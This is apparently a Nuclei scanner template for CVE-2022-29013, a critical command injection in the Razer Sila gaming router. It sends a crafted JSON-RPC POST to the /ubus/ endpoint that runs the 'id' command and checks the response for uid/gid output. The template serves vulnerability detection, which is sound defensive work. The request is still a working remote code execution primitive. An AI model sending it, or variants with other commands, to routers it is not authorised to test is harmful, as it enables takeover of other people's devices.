Razer Sila Gaming Router - Remote Code Execution

id: CVE-2022-29013

info:
  name: Razer Sila Gaming Router - Remote Code Execution
  author: DhiyaneshDK
  severity: critical
  description: |
    A command injection in the command parameter of Razer Sila Gaming Router v2.0.441_api-2.0.418 allows attackers to execute arbitrary commands via a crafted POST request.
  reference:
    - https://packetstormsecurity.com/files/166684/Razer-Sila-2.0.418-Command-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29013
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-29013
    cwe-id: CWE-78
    epss-score: 0.8792
    epss-percentile: 0.98658
    cpe: cpe:2.3:h:razer:sila:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: razer
    product: sila
  tags: packetstorm,cve,cve2022,razer,sila,router

http:
  - method: POST
    path:
      - "{{BaseURL}}/ubus/"
    headers:
      Origin: "{{RootURL}}"
      Referer: "{{ROotURL}}"
      X-Requested-With: XMLHttpRequest
    body: |
      {"jsonrpc":"2.0","id":3,"method":"call","params":["30ebdc7dd1f519beb4b2175e9dd8463e","file","exec",{"command":"id"}]}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)'

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
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